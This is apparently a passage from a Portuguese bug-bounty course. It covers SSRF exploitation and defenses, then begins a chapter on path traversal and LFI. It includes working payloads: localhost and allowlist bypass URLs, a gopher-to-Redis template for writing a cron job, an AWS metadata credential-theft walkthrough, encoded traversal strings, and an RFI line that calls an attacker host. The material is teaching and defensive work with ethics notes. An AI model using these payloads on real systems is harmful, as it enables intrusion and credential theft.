> **Caso real (controlar header fura o GCP):** a HAKAI Security documentou um SSRF (via cliente Axios) que **conseguia injetar o header** `Metadata-Flavor: Google` — exatamente o que o GCP exige — e com isso roubou o token da *service account* na metadata. É o "SSRF que controla headers fura tudo" na vida real. Eles publicaram a ferramenta `gcp_enum` pra enumerar o que dá pra fazer com a credencial.

Nível 4 — Schemes além do HTTP

Nem todo SSRF é `http://`. Se o cliente HTTP do servidor aceitar outros schemes, o leque abre (lista de bypasses do PayloadsAllTheThings):

Scheme	Pra que serve	Exemplo
`file://`	Ler arquivo local do servidor	`file:///etc/passwd`
`gopher://`	Mandar **bytes crus** TCP → falar com Redis, SMTP, etc.	`gopher://127.0.0.1:6379/_<comandos>`
`dict://`	Sondar serviços / falar protocolo texto	`dict://127.0.0.1:11211/stats` (Memcached)

Scheme	Pra que serve	Exemplo
`http(s)://`	O comum	`http://localhost/admin`

O `gopher://` é o mais poderoso: ele permite enviar **dados arbitrários** numa conexão TCP. Como Redis, SMTP e outros serviços usam protocolos baseados em texto/CRLF, dá pra **falar a língua deles** e mandar comandos — não só "bater na porta".

Nível 5 — Chaining SSRF → RCE (gopher + Redis)

Esse é o avançado que vira manchete. Cenário: existe um **Redis sem senha** ouvindo em `127.0.0.1:6379` (comuníssimo, porque "só a localhost acessa"). Com um SSRF que aceite `gopher://`, você monta uma sequência de comandos Redis que **escreve um arquivo** — por exemplo, um cron job ou uma webshell — e ganha execução de comando.

A ideia (sem entregar um exploit pronto): o protocolo Redis é texto separado por `\r\n` (CRLF). O `gopher://` deixa você enviar esses bytes crus. Então você codifica algo como `CONFIG SET dir /var/spool/cron/`, `CONFIG SET dbfilename root`, um `SET` com o payload e `SAVE` — tudo com os CRLF **URL-encodados** (`%0D%0A`):

```
gopher://127.0.0.1:6379/_%0D%0A<comando-redis-1>%0D%0A<comando-redis-2>%0D%0A...
```

Quando o servidor "busca" essa URL, ele abre TCP na 6379 e despeja os comandos como se fosse um cliente Redis legítimo. Resultado: o Redis grava o arquivo, e na próxima execução do cron você tem RCE. **Por que funciona?** Porque o Redis confia em quem fala com ele pela localhost, e o `gopher://` deixou você "ser" esse cliente local. (Pra montar os bytes certos, ferramentas como o Gopherus geram o payload `gopher://` pronto pra Redis, MySQL, FastCGI, SMTP, etc.)

> Esse é o ápice do "office boy obediente": você não só fez ele entregar uma carta — você ditou **byte a byte** o que ele ia falar com o serviço de dentro.

Repara que aqui o SSRF deixa de ser "ler dado interno" e vira **execução de comando** — é a mesma família do que você viu em RCE & Command Injection / SSTI, só que a porta de entrada foi a requisição forjada. Sempre que um SSRF alcança um serviço *text-based* sem auth (Redis, Memcached, FastCGI, SMTP), pergunte-se se dá pra escalar pra RCE; e quando isso depende de juntar duas falhas (ex.: SSRF + open redirect pra furar a allowlist, ou SSRF + serviço interno), o playbook está em Chaining de vulnerabilidades.

Nível 6 — Bypasses de filtro

Quando o dev tenta bloquear com uma lista negra (blocklist), quase sempre dá pra furar. O próprio OWASP avisa que blocklists são "propensas a bypass". Arsenal verificado:

Técnica	Exemplo (todos = `127.0.0.1`)	Por que fura
Decimal	`http://2130706433/`	O parser converte; o filtro procurava "127.0.0.1" literal
Octal	`http://0177.0.0.1/`	Outra base, mesmo IP
Hex	`http://0x7f000001/`	Idem
Encurtado	`http://127.1/`	`127.1` expande pra `127.0.0.1`
IPv6	`http://[::1]/` , `http://[::ffff:127.0.0.1]/`	Filtro só cobria IPv4
`0.0.0.0`	`http://0.0.0.0:8080/`	Em Linux, fala com a localhost
DNS que resolve pra interno	`http://localtest.me/` (resolve `127.0.0.1`)	O filtro vê um domínio "externo"

Bypasses de **allowlist** (quando o filtro quer ver `alvo.com` na URL):

```
http://alvo.com@169.254.169.254/        # <- "alvo.com" é só o userinfo; o host real é o metadata
http://169.254.169.254#alvo.com         # <- o "#alvo.com" é fragmento, ignorado
http://169.254.169.254%2523@alvo.com    # double-encode pra confundir o parser
http://alvo.com.attacker.com/           # domínio do atacante que CONTÉM "alvo.com"
```

Open redirect como ponte: se o filtro só aceita `alvo.com`, mas existe um open redirect em `alvo.com/go?u=...`, você aponta o SSRF pra `http://alvo.com/go?u=http://169.254.169.254/` e o servidor segue o redirect até o metadata. (Por isso o OWASP manda **desabilitar redirects** no cliente.)

DNS rebinding: o ataque mais sofisticado contra validação. Você cria um domínio cujo DNS responde **IP público** na primeira consulta (passa na validação) e `127.0.0.1` na segunda (quando o servidor realmente conecta). Explora a janela de tempo entre "validar" e "conectar" (TOCTOU — time-of-check vs time-of-use). Ferramentas: `rebind`, `singularity` (NCC Group).

Caso real-fictício: importação por URL → metadata AWS

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você testa `app.exemplo.com`, um SaaS. Há uma função "Importar logo da empresa por URL" no painel. O Burp registra:

```
POST /api/v1/company/logo/import HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json
```

```
{"logoUrl": "https://cdn.exemplo.com/logos/acme.png"}
```

Passo 1 — Confirmar (OAST). Troco pelo Collaborator:

```
{"logoUrl": "http://k7p2.oastify.com/probe"}   # <- domínio OAST
```

No Collaborator chega **1 DNS lookup + 1 HTTP GET /probe** com `User-Agent: Go-http-client/1.1`. SSRF confirmado, e o User-Agent denuncia um backend em Go.

Passo 2 — Mapear destino interno. Testo a metadata da AWS (a função usa GET puro, então só IMDSv1 funcionaria):

```
{"logoUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
```

```
HTTP/2 200 OK
Content-Type: image/png   # <- a app acha que é "logo", mas o corpo é texto

s3-app-readonly-role
```

A app tentou tratar a resposta como imagem, mas o **corpo vazou o nome da role**. IMDSv1 está habilitado. Continuo:

```
{"logoUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/s3-app-readonly-role"}
```

```
HTTP/2 200 OK

{"AccessKeyId":"AKIAEXAMPLE000000000",
 "SecretAccessKey":"REDACTED/exemplo+fic+ticio",
 "Token":"IQoJb3...EXEMPLO...",
 "Expiration":"2026-05-31T23:59:00Z"}
```

Credencial temporária da AWS na mão. Com ela, dá pra autenticar na AWS como a instância (`aws sts get-caller-identity` confirmaria a identidade) e acessar o que a role permitir (no nome, leitura de S3). Impacto: **Crítico**.

O que a tela do Burp mostraria: painel Request/Response lado a lado; na Response, em vez de bytes de PNG, um JSON com `AccessKeyId` / `SecretAccessKey` / `Token` — destacado o `169.254.169.254` trocado no `logoUrl`.

Passo 3 — Report. Título `[SSRF] - Importação de logo permite ler IMDS e roubar credenciais IAM (169.254.169.254)`. Severidade **Crítica**. CVSS do SSRF-base (autenticado, lê a credencial): **v3.1 8.5 / Alto** (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N`) e **v4.0 Crítico** (`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`). O que sobe pra **Crítica** de fato é o **chaining**: a credencial IAM roubada permite assumir a identidade da instância na AWS (*cloud takeover*), então descreva esse impacto subsequente no texto —

veja Cloud & AWS Misconfiguration pra explorar a credencial com responsabilidade e Chaining de vulnerabilidades pra encadear o report. PoC: as 3 requests acima, com a credencial **mascarada** (`AKIA...` , nunca o valor real). Recomendação: migrar pra IMDSv2 + allowlist de destino. (Detalhes em Como escrever um report que paga.)

> **Ética no PoC:** confirme a identidade com `aws sts get-caller-identity` e **pare**. Não liste buckets, não baixe dados, não persista. Provar o acesso já demonstra o impacto — explorar além vira invasão.

Defesa em camadas

A correção real combina **validação na aplicação** + **controle de rede** + **hardening de nuvem**. Nenhuma camada sozinha resolve.

Camada 1 — Nunca busque a URL crua do usuário (allowlist)

O conselho número 1 do OWASP SSRF Cheat Sheet: "*não aceite URLs completas do usuário, porque URLs são difíceis de validar e o parser pode ser abusado*". Use **allowlist** (lista do que é permitido), nunca blocklist.

```
# Python — valida ANTES de buscar: scheme + host na allowlist + IP resolvido é público
import ipaddress, socket
from urllib.parse import urlparse

HOSTS_PERMITIDOS = {"cdn.exemplo.com", "i.imgur.com"}

def url_segura(url: str) -> bool:
    p = urlparse(url)
    if p.scheme not in ("http", "https"):      # 1) só http/https — mata file://,
gopher://, dict://
        return False
    if p.hostname not in HOSTS_PERMITIDOS:      # 2) allowlist de host
        return False
    # 3) resolve o host e confirma que o IP NÃO é privado/loopback/link-local
    for info in socket.getaddrinfo(p.hostname, None):
        ip = ipaddress.ip_address(info[4][0])
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            return False
    return True
```

> O passo 3 é o que pega o **DNS rebinding**: você resolve o IP e valida o IP. Mas atenção — pra fechar o TOCTOU de verdade, você precisa **conectar no mesmo IP que validou** (resolver uma vez, passar o IP fixo pro cliente HTTP), senão o atacante troca a resposta DNS entre a validação e a conexão.

```
// PHP — bloqueia redirects e ranges internos no cURL
$ch = curl_init($urlValidada);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);  // <- NÃO siga redirect (mata o open-redirect bypass)
// só http(s) — mata file://, gopher://, dict://. Em cURL >= 7.85 / PHP 8.3+ use a forma nova:
//   curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "http,https");
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // forma clássica (CURLOPT_PROTOCOLS deprecada no cURL 7.85+)
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$resp = curl_exec($ch);
```

Camada 2 — Desabilite (ou trave) redirects

Como vimos no bypass, um open redirect derruba a allowlist. O OWASP é explícito: "*desabilite o seguimento de redirecionamento no seu cliente web pra prevenir o bypass da validação*". Se precisar seguir redirect, **revalide o destino final** com a mesma allowlist.

Camada 3 — Não devolva a resposta crua pro cliente

Se a app **precisa** buscar conteúdo externo, não jogue o corpo da resposta de volta pro usuário. Trate (redimensione a imagem, parseie o JSON esperado) e devolva só o resultado. Isso degrada um basic SSRF pra blind — reduz muito o impacto.

Camada 4 — Controle de rede (segmentação)

Defesa que independe do código: a aplicação **não deveria ter rota de rede** pra `169.254.169.254`, nem pros serviços internos que ela não usa.

```
# Bloquear saída da aplicação pro metadata (exemplo iptables na instância)
iptables -A OUTPUT -d 169.254.169.254 -j DROP   # <- a app não fala com o metadata
# + regras de egress permitindo SÓ os destinos legítimos (default deny na saída)
```

Camada 5 — Hardening de nuvem (IMDSv2 obrigatório)

Force **IMDSv2** e bloqueie o v1. Na AWS, exija token de sessão e reduza o hop limit:

```
# Forçar IMDSv2 (http-tokens=required) e hop limit 1 numa instância existente
aws ec2 modify-instance-metadata-options \
  --instance-id i-0exemplo \
  --http-tokens required \
  --http-put-response-hop-limit 1 \
  --http-endpoint enabled
```

Como vimos, com `http-tokens required` qualquer GET sem token leva `401`, e o SSRF "só-GET" morre ali. No **GCP** o header `Metadata-Flavor: Google` já é obrigatório; no **Azure**, o `Metadata: true`.

> **O que NÃO basta:** (1) blocklist de `127.0.0.1` / `localhost` — fura com decimal/octal/IPv6/DNS; (2) validar a URL **uma vez** e conectar depois (DNS rebinding); (3) confiar que "o serviço interno não tem porta exposta" — o servidor alcança a localhost dele; (4) só checar a string sem resolver o IP; (5) seguir redirect "porque é prático".

Ferramentas + labs legais

- **Burp Suite** — Repeater (testar destinos), Intruder (varrer portas/IPs internos) e **Collaborator** (detectar blind SSRF). Extensões: **Collaborator Everywhere**, **SSRF King**, **taborator**.
- **interactsh** (ProjectDiscovery) — servidor OAST gratuito/open source pra blind SSRF.
- **Gopherus** — gera payloads `gopher://` prontos pra Redis, MySQL, FastCGI, SMTP, Memcached, PostgreSQL.
- **nuclei** — templates prontos de SSRF (inclusive cloud metadata e xmlrpc pingback).
- **singularity / rebind** — DNS rebinding.
- **Labs pra praticar (autorizados):** PortSwigger Web Security Academy — SSRF (a melhor fonte gratuita, com labs de basic, blind, filtros e bypasses), DVWA, TryHackMe, HackTheBox, HackingClub.

Checklist do caçador

- [ ] Mapeei toda funcionalidade que **busca uma URL** (`url` , `webhook` , "importar por link", PDF/screenshot, preview).
- [ ] Confirmei saída com **OAST** (Collaborator/interactsh) — registrei DNS **e** HTTP.
- [ ] Se for **WordPress**, testei o blind SSRF "de prateleira" via `xmlrpc.php` → `pingback.ping` (e o bypass `X-Rewrite-Url` se `/xmlrpc.php` estiver filtrado).
- [ ] Testei **localhost / rede interna** (`127.0.0.1` , `[::1]` , `192.168.x` , `10.x` , portas comuns).
- [ ] Testei **cloud metadata** (`169.254.169.254`) — AWS IMDSv1/v2, `Metadata-Flavor: Google` (GCP), `Metadata: true` (Azure).
- [ ] Testei **schemes alternativos** (`file://` , `gopher://` , `dict://`) se o cliente aceitar.
- [ ] Testei **bypasses** (decimal/octal/hex, `127.1` , `[::1]` , `@` , `#` , DNS que resolve interno, open redirect).
- [ ] Verifiquei se controlo **método e headers** (decide se IMDSv2/GCP/Azure são alcançáveis).
- [ ] Avaliei **chaining** (gopher+Redis → RCE) quando há serviço interno text-based sem auth.
- [ ] No PoC, **parei na prova** (ex.: `sts get-caller-identity`) e **mascarei** credenciais.
- [ ] Conferi que SSRF **está no escopo** do programa.

Pegadinhas / o que NÃO funciona

- **Só DNS, sem HTTP, no Collaborator:** é SSRF (a app resolveu seu domínio), mas pode ter firewall de egress barrando HTTP. Reporte como blind SSRF (tipicamente **CVSS v3.1 4.3 / Médio** — `AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`) e tente escalar — não inflacione pra "crítico" sem alcançar nada interno.
- `169.254.169.254` **retornando 401/timeout:** provavelmente **IMDSv2** ativo e seu SSRF só faz GET. Não desista do bug, mas o impacto "metadata" some — foque outros alvos internos.
- **Achar que** `localhost` **está bloqueado e parar:** sempre tente as **representações alternativas** (decimal, IPv6, `0.0.0.0`, DNS público que resolve pra `127.0.0.1`).
- **Confundir Open Redirect com SSRF:** open redirect manda **o navegador da vítima** (client-side); SSRF faz **o servidor** sair (server-side). São bugs diferentes — só viram dupla quando o redirect serve de ponte pro SSRF.
- `file://` **em cliente HTTP moderno:** muitos clientes (libs HTTP atuais) já não aceitam `file://` / `gopher://`. Não assuma — **teste**.
- **XXE que não percebeu que é SSRF:** parsers de XML com entidades externas (`SYSTEM "http://..."`) fazem requisição de saída. XXE muitas vezes **é** um vetor de SSRF.

O que você precisa lembrar

- **SSRF = você escolhe pra onde o servidor faz a requisição.** O servidor está dentro da rede; a confiança dele vira sua.
- **Basic** (lê a resposta) vale mais que **blind** (só confirma saída via OAST), mas blind é a porta de entrada — sempre confirme com Collaborator primeiro.
- **O dinheiro está no alvo interno:** cloud metadata (`169.254.169.254`) → credenciais; serviço interno sem auth; gopher+Redis → RCE.
- **Defesa real = allowlist + sem redirect + segmentação de rede + IMDSv2.** Blocklist sempre fura.

> **Dica de ouro:** quando achar um SSRF, sua primeira pergunta não é "achei?", e sim **"o que eu controlo?"** — só a URL, ou também o método e os headers? Essa resposta decide se você lê IMDSv1 (fácil), fura IMDSv2/GCP/Azure (precisa de header/PUT, ou gopher) ou chega num RCE. O bug é o mesmo; o impacto (e o cheque) muda conforme o alcance.

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. SSRF dá acesso a infraestrutura interna e credenciais reais; um passo a mais (listar buckets, baixar dados, persistir acesso) deixa de ser "prova de conceito" e vira invasão, com consequências criminais. **Confirme o impacto com o mínimo necessário,**

mascare segredos no report e pare. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- OWASP A10:2021 — Server-Side Request Forgery (SSRF)
- OWASP — SSRF Prevention Cheat Sheet
- PortSwigger — SSRF e Blind SSRF
- AWS — Use the Instance Metadata Service (IMDSv1 vs IMDSv2)
- GCP — Metadata server overview
- Azure — Instance Metadata Service
- PayloadsAllTheThings — Server Side Request Forgery
- reddelexc/hackerone-reports — Top SSRF reports

LFI e Path Traversal: lendo arquivos que não deviam

Quando um "../" abre o cofre

Você está testando uma área de relatórios e percebe que a URL pra baixar um PDF é assim:

```
GET /relatorios/download?file=fatura-abril.pdf
```

A pergunta clássica de quem mexe com segurança não demora: "*e se eu não pedir `fatura-abril.pdf`, e sim um arquivo lá de fora?*". Você troca por `../../../../etc/passwd`. A resposta volta `200 OK` e o corpo é a lista de usuários do sistema Linux — `root:x:0:0:root:/root:/bin/bash`, `www-data`, `sshd`, tudo. Em vez do seu PDF, o servidor te entregou um arquivo do sistema operacional.

Acabou de acontecer um **Path Traversal** que virou **leitura arbitrária de arquivos** (LFI). Esse tipo de falha vai de "interessante" a **crítica** muito rápido: dependendo do que dá pra ler — código-fonte, chaves, config com senha de banco — e de se dá pra escalar pra **execução de comando** (RCE), o bounty pula de algumas centenas a vários milhares de reais.

Neste capítulo a gente vai do conceito de `../` até técnicas avançadas de bypass de filtro e de LFI virando RCE com PHP wrappers e log poisoning — com exploração passo a passo, caso prático e defesa de verdade. (Recon de superfícies de ataque a gente já viu no capítulo 01 — Recon & Discovery; aqui foco no que é específico de arquivo.)

O que é Path Traversal e o que é LFI?

São dois conceitos que andam de mãos dadas, mas não são a mesma coisa. Vale separar bem, porque a confusão entre eles é o que mais atrapalha quem está começando.

> **Analogia:** pense num arquivista numa biblioteca. Você pede um documento pelo número da prateleira. O arquivista **deveria** só pegar documentos daquela sala. **Path Traversal** é você falar "pega o documento três salas pra trás, na sala da diretoria" — e o arquivista, ingênuo, vai lá e traz. **LFI** é quando esse documento que você pediu não é só *entregue* a você: ele é **lido em voz alta como se fosse uma ordem** — ou seja, o servidor não só te mostra o conteúdo, ele **executa** o que está dentro.

Definindo com precisão:

- **Path Traversal** (ou **Directory Traversal**) — você manipula um caminho de arquivo (com `../`, caminho absoluto, encoding) pra **acessar arquivos fora do diretório pretendido**. O objetivo direto é **ler** (ou às vezes escrever) arquivos que estão fora

da raiz prevista. É a definição da OWASP: "*acessar arquivos e diretórios que estão armazenados fora da pasta raiz web*".

- **LFI (Local File Inclusion)** — a aplicação **inclui/interpreta** um arquivo local cujo caminho veio (parcial ou totalmente) do usuário. O termo vem do mundo PHP: funções como `include`, `require`, `include_once` **executam** o conteúdo do arquivo como código. Por isso LFI é mais perigoso: além de ler, frequentemente dá pra **executar**.

A relação entre eles:

	Path Traversal	LFI
Operação no backend	"abrir e mandar o conteúdo" (`readfile`, `fopen`, `File.read`)	"incluir e interpretar" (`include`, `require`)
Resultado típico	leitura de arquivo arbitrário	leitura + possível execução de código
Linguagens	qualquer (PHP, Java, .NET, Node, Python)	clássico de **PHP**, mas o conceito existe noutras
Como vira RCE	só com truque extra (escrever em local executável)	wrappers, log poisoning, `/proc/self/environ`...

Na prática, **todo LFI começa com um Path Traversal** (você precisa apontar pro arquivo que quer). A diferença é o que o servidor faz com o caminho: se ele só lê → traversal/leitura arbitrária; se ele inclui/executa → LFI.

E o RFI?

RFI (Remote File Inclusion) é o primo do LFI: em vez de incluir um arquivo *local*, a aplicação inclui um arquivo de uma **URL remota** que você controla (`?page=http://atacante.com/shell.txt`). É instantaneamente RCE — você hospeda o código malicioso e o servidor o executa. Hoje é raro, porque depende de `allow_url_include = On` no PHP, que vem **desligado por padrão** desde o PHP 5.2. Vamos focar em LFI, que é o que você realmente encontra; RFI fica como menção honrosa.

Por que isso importa (e quanto paga)

O impacto escala em degraus bem definidos — e o bounty acompanha:

- **Leitura de config e segredos.** Ler `/etc/passwd` já confirma a falha, mas o ouro está em `config.php`, `.env`, `application.yml`, `web.config`, `wp-config.php`: ali moram credenciais de banco, chaves de API, secrets de JWT. De posse disso, você pivota pra dentro.

> **JWT** (JSON Web Token): token de sessão em 3 partes `header.payload.signature` (Base64URL); o *secret* assina ele. Detalhe no Glossário. - **Leitura de código-fonte.**

> Com `php://filter` dá pra baixar o **fonte** da aplicação em base64 (veja adiante). Código na mão = mapa de outras vulnerabilidades.
>
> **Base64**: forma de representar bytes só com letras/números (não é criptografia — qualquer um decodifica). Detalhe no Glossário. - **Vazamento de PII / arquivos de outros usuários.** Path traversal num endpoint de download pode ler arquivos de outros clientes (cruza com IDOR). (**PII** = dados pessoais identificáveis: nome, CPF, e-mail.) - **LFI → RCE.** O topo da cadeia. Quando você consegue fazer o servidor **executar** o que controla (log poisoning, wrappers), virou execução remota de comando — severidade **crítica**.

Faixas realistas pra essa família em programas de bug bounty: de **algumas centenas de reais/dólares** (leitura de arquivo de baixo valor, ou um LFI que só lê `/etc/passwd` num sistema sem dados sensíveis) até **vários milhares** (config com credenciais, vazamento de PII em escala, ou LFI escalado pra RCE). O que define o cifrão é **o que você consegue ler** e **se dá pra executar**.

> **Cheque o escopo e seja cirúrgico.** Pra *provar* a falha, leia um arquivo inofensivo (`/etc/passwd`, `win.ini`). **Não** saia baixando dados de clientes nem dumpando todo o banco — isso pode te tirar do programa e configurar dano real. PoC mínima, impacto explicado. (**PoC** = *Proof of Concept*, a prova mínima de que a falha existe.)

Como funciona por trás

A raiz é quase sempre a mesma: o backend **concatena entrada do usuário num caminho de arquivo** e abre/inclui sem validar. Olha o pecado original em PHP:

```
// Backend VULNERÁVEL — concatena o que veio do cliente direto no caminho
$file = $_GET['file'];
include "/var/www/app/pages/" . $file;   // <- entrada não validada no caminho
```

A intenção do dev era servir `pages/home.php`, `pages/sobre.php`. Mas o sistema de arquivos entende `../` como "sobe um diretório". Então quando você manda:

```
?file=../../../../etc/passwd
```

o caminho final que o `include` resolve é:

```
/var/www/app/pages/../../../../etc/passwd   ->  /etc/passwd
```

Cada `../` "come" um nível pra trás. Você joga `../` suficientes pra chegar na raiz `/` e de lá navega pro arquivo que quer. No Windows é a mesma ideia com `..\` (barra invertida), mas o Windows aceita as duas (`/` e `\`), então `../` costuma funcionar também.

> **Por que tantos `../`?** Você nem sempre sabe a profundidade exata do diretório base. `/etc/passwd` está na raiz, e jogar `../` **a mais** não causa erro — `/` é o teto, subir além dela continua em `/`. Por isso o padrão é mandar uns 6–10 `../` "de sobra" e garantir que chegou na raiz. É puro pragmatismo, não mágica.

O mesmo vale em outras linguagens — só muda a função que lê/inclui:

```
// Node.js VULNERÁVEL
const file = req.query.file;
res.sendFile("/var/www/uploads/" + file);   // path traversal aqui
```

```
// Java VULNERÁVEL
File f = new File("/var/www/data/" + request.getParameter("file"));
return Files.readAllBytes(f.toPath());
```

Tipos e variações

1. **Traversal puro na URL/query** — `?file=../../etc/passwd`. O clássico.
2. **Traversal no corpo (POST/PUT)** — o parâmetro de arquivo vai no JSON ou form-data, não na URL.
3. **Traversal no nome de arquivo de upload** — você controla o `filename` num multipart e usa `../` pra **escrever** fora da pasta de uploads.
4. **LFI puro (PHP)** — `include` / `require` com input → leitura **e** execução em potencial.
5. **RFI** — inclusão de URL remota (raro, precisa de `allow_url_include`).
6. **LFI via wrapper** — `php://filter`, `data://`, `expect://`, `php://input`, `zip://` / `phar://` (seções avançadas).
7. **Traversal "indireto"** — não é você que põe o caminho; a aplicação monta um caminho a partir de um valor seu (um `template=`, um `lang=`, um `theme=`) e você abusa disso.

Recon — como encontrar

Primeiro você precisa achar **onde a aplicação toca em arquivos por nome**. Os sinais de superfície:

- **Parâmetros que cheiram a arquivo/caminho:** `file`, `path`, `page`, `template`, `doc`, `download`, `id`, `name`, `folder`, `lang`, `view`, `include`, `pdf`, `img`, `style`, `report`.
- **Funcionalidades que servem arquivos:** download de relatório/nota fiscal, preview de anexo, troca de idioma/tema (carrega `pt.php` / `en.php`), geração de PDF, visualizador de imagem.
- **Extensões na URL:** se a URL termina em `.pdf`, `.log`, `.xml`, `.ini` vindo de um parâmetro, é candidata forte.

> **O gatilho é o NOME do parâmetro, não o método.** Se um parâmetro **referencia um arquivo** (`file=algo.pdf`), ele subentende que esse arquivo mora num diretório — então tente navegar com `../`. E teste em **qualquer método**: LFI via `POST` (no corpo, no form-data) é tão válido quanto via `GET` — **o método não importa**. Não filtre só os parâmetros "óbvios": teste **todos** os que cheiram a caminho, em toda request que sua interceptação capturar.

Pra descobrir parâmetros e endpoints escondidos (ferramentas que a gente apresentou no capítulo de Recon):

```
# gau lista URLs históricas (Wayback/Common Crawl) do alvo;
# grep pega só as que têm parâmetro com cheiro de arquivo
echo "alvo.com" | gau | grep -Ei '(\?|&)(file|path|page|doc|template|download|lang|
view)='
```

```
# ffuf faz fuzzing de PARÂMETRO: testa nomes de query string num endpoint
# (-w wordlist de parâmetros; FUZZ é o ponto de injeção; -fs filtra tamanho da resposta
"normal")
ffuf -u "https://alvo.com/index.php?FUZZ=../../../../etc/passwd" \
     -w params.txt -fs 1234
```

E uma forma rápida de varrer um parâmetro suspeito com payloads de traversal já prontos:

```
# nuclei tem templates de LFI/traversal; aponta pro alvo e ele testa os payloads
conhecidos
nuclei -u "https://alvo.com/relatorios/download?file=FUZZ" -tags lfi,traversal
```

> **Sinal de ouro:** se ao trocar o valor do parâmetro por um arquivo que **não existe** o app devolve um erro tipo `failed to open stream: No such file or directory in /var/www/...`, comemore baixinho — esse erro **te entrega o caminho absoluto** e confirma que o input vai parar num `fopen` / `include`. Metade do trabalho é vazar essa pista.

Exploração passo a passo (do básico ao avançado)

Trabalhe sempre no **Burp Repeater** — você manda a request, troca o payload e lê a resposta sem ruído. (Burp Suite apresentado no capítulo de Fundamentos.)

Nível 1 — Traversal básico

Confirme com um arquivo que existe em todo lugar e é inofensivo:

```
GET /relatorios/download?file=../../../../../../etc/passwd HTTP/2
Host: alvo.com
```

```
HTTP/2 200 OK
Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
```

No **Windows**, o equivalente universal é o `win.ini` (sempre existe e é inofensivo):

```
?file=..\..\..\..\..\..\windows\win.ini
```

Nível 2 — Bypass de prefixo de pasta (validação "tem que começar com a base")

Filtro comum: o backend exige que o caminho **comece** com a pasta esperada (`/var/www/images`). Solução: comece com ela e depois suba com `../` . PortSwigger confirma esse payload exato:

```
?file=/var/www/images/../../../etc/passwd
```

O caminho começa com `/var/www/images` (passa na checagem ingênua) e os `../` te levam de volta à raiz.

Nível 3 — Bypass de filtro que remove "../"

Muito dev "resolve" o problema dando um `str_replace("../", "", $input)` — removendo as sequências `../` . O problema é que isso roda **uma vez só** e **não é recursivo**. Então você aninha:

```
....//....//....//etc/passwd
```

Olha o que acontece passo a passo: o filtro varre a string e remove cada ocorrência de `../` . Em `....//` , o `../` do meio é removido, sobrando `../` . Ou seja, **depois** da limpeza, `....//` vira `../` . O PortSwigger documenta exatamente essa técnica: "*você pode usar sequências de traversal aninhadas, como `....//` ou `....\/` , que revertem pra sequências simples quando a sequência interna é removida*". Variações que valem testar quando o filtro é mais agressivo: `..././` , `....\/` , `..//////..//` .

Nível 4 — Bypass por encoding

Se o filtro busca a string literal `../` , ofusque com URL encoding. O servidor decodifica **depois** do filtro, e aí o `../` ressurge:

Payload	Decodifica pra	Quando usar
`%2e%2e%2f`	`../`	URL encoding simples de `../`
`%2e%2e%5c`	`..\`	versão Windows (`\`)
`%252e%252e%252f`	`../`	**duplo encoding** (`%25` = `%`) — quando há 2 camadas de decode
`..%c0%af`	`../`	overlong UTF-8 do `/` (servidores/proxies legados)
`..%ef%bc%8f`	`../`	fullwidth Unicode do `/` (não-padrão)

O **duplo encoding** merece um momento didático. Imagine que o app decodifica a URL uma vez (normal), aplica o filtro buscando `../`, e depois algum componente decodifica **de novo**. Você manda `%252e%252e%252f`. Primeiro decode → `%2e%2e%2f` (não bate no filtro de `../`). Segundo decode → `../`. O filtro foi enganado porque olhou a string no momento errado. Tudo isso está catalogado no PortSwigger sobre file path traversal.

Nível 5 — Null byte (legado, mas saiba que existe)

Às vezes o backend **força uma extensão**, concatenando `.php` ou `.pdf` no fim do seu input (`include($_GET['file'] . ".php")`). Em **PHP < 5.3.4**, o byte nulo `%00` **terminava a string** no nível do C, descartando o sufixo:

```
?file=../../../../etc/passwd%00
# o backend monta "../../../../etc/passwd\0.php" -> o C para no \0 -> lê /etc/passwd
```

> **Isso é legado.** Foi corrigido no PHP 5.3.4 (2010). Não conte com `%00` em alvo moderno — mas você ainda esbarra nele em sistemas antigos, e precisa **reconhecer** a técnica num CTF ou num legado esquecido. Pra contornar extensão fixa em PHP moderno, o caminho é o `php://filter` (a seguir).

Nível 6 — Arquivos que valem a pena ler

Confirmou a falha? Agora aponte pros arquivos com valor:

Linux:

Arquivo	Por quê
`/etc/passwd`	confirma a falha; lista usuários
`/etc/hosts`	mapeamento interno de hosts
`/proc/self/environ`	variáveis de ambiente do processo (às vezes com segredos; e vetor de RCE)
`/proc/self/cmdline`	a linha de comando do processo

Arquivo	Por quê
`/var/log/apache2/access.log`, `/var/log/nginx/access.log`	logs (vetor de log poisoning)
`/var/www/html/config.php`, `.env`, `application.yml`, `wp-config.php`	**credenciais** — o prêmio
`~/.ssh/id_rsa`, `~/.bash_history`	chaves e histórico

Windows / IIS:

Arquivo	Por quê
`C:\Windows\win.ini`, `system.ini`	confirma a falha; inofensivo
`C:\Windows\System32\drivers\etc\hosts`	mapeamento de hosts
`web.config`	**config do IIS/.NET** — strings de conexão, segredos
`C:\Windows\debug\mrt.log`	log do sistema, ótimo pra confirmar leitura

Avançado: LFI → RCE

Aqui o jogo muda. Se a aplicação **inclui/interpreta** o arquivo (PHP `include`), e você consegue colocar **código PHP** num arquivo que o servidor depois inclui, você executa comando. Três caminhos clássicos. (O destino é o mesmo da execução de comando que vimos no capítulo de RCE, Command Injection & SSTI; aqui a porta de entrada é a inclusão de arquivo.)

1) `php://filter` — vazar o código-fonte em base64

